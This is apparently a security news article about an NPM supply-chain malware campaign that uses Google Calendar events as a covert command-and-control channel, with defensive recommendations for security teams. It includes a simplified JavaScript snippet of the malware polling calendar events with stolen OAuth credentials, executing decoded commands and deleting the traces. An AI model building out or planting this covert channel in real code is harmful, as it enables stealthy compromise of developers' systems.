Attackers Turn Google Calendar Into Covert Channel in NPM Supply Chain Breach
A highly evasive malware campaign has surfaced in the JavaScript ecosystem, abusing trusted cloud infrastructure to bypass traditional defenses. The attack, discovered in mid-May, infiltrates the Node Package Manager (NPM) supply chain and uses Google Calendar as a stealth command and control (C2) medium.
A Quiet Invasion Through Trusted Code
Threat actors embedded malicious scripts into what appeared to be ordinary JavaScript packages. These tainted libraries were unknowingly installed by developers, immediately triggering covert operations from within their own environments. The packages racked up over 35,000 downloads before the breach was uncovered.
What sets this campaign apart isn’t just its reach—it’s the method. Instead of routing signals through sketchy external servers, the malware hides inside routine interactions with Google services, allowing it to evade firewalls and monitoring tools that typically trust such domains.
Communication Hidden in Plain Sight
Once installed, the malware uses stolen OAuth credentials to interact with the victim’s Google Calendar. It injects encoded instructions into event fields—like descriptions or attendee lists—effectively camouflaging attacker commands as business appointments.
Here’s a simplified version of what the malware does:
js
const {google} = require(‘googleapis’);
const calendar = google.calendar({version: ‘v3’, auth: stolenOAuth});
async function checkForCommands() {
const res = await calendar.events.list({ q: ‘sync_status’ });
const events = res.data.items;
if (events.length) {
const commands = decodeCommands(events[0].description);
executeCommands(commands);
await calendar.events.delete({calendarId: ‘primary’, eventId: events[0].id});
}
}
These hidden messages direct infected machines to run code, steal data, or retrieve further payloads. The stolen data may also be disguised as calendar content, making exfiltration blend seamlessly with legitimate traffic.
Built for Evasion
The malware is equipped with anti-analysis features: it waits before executing in unfamiliar environments and actively avoids activating in sandboxes or virtual machines. This delayed strategy reduces the chance of detection by automated analysis tools.
What Security Teams Should Know
This campaign represents a tactical shift in malware design: by leveraging mainstream cloud APIs, it exploits the trust modern infrastructure places in SaaS platforms.
Recommended actions include:
- Monitoring for unusual OAuth token usage, especially in dev environments.
- Flagging abnormal calendar activity, such as rapid event creation, deletion, or encoded content.
- Auditing project dependencies frequently using trusted SCA tools.
- Applying behavioral threat detection for API calls to platforms like Google Calendar.
“Malicious use of cloud-native tools is the new frontier of stealth,” said Dr. Alex Chen, a lead researcher at Veracode. “If your security posture assumes trusted services are safe by default, this attack should be a wake-up call.”
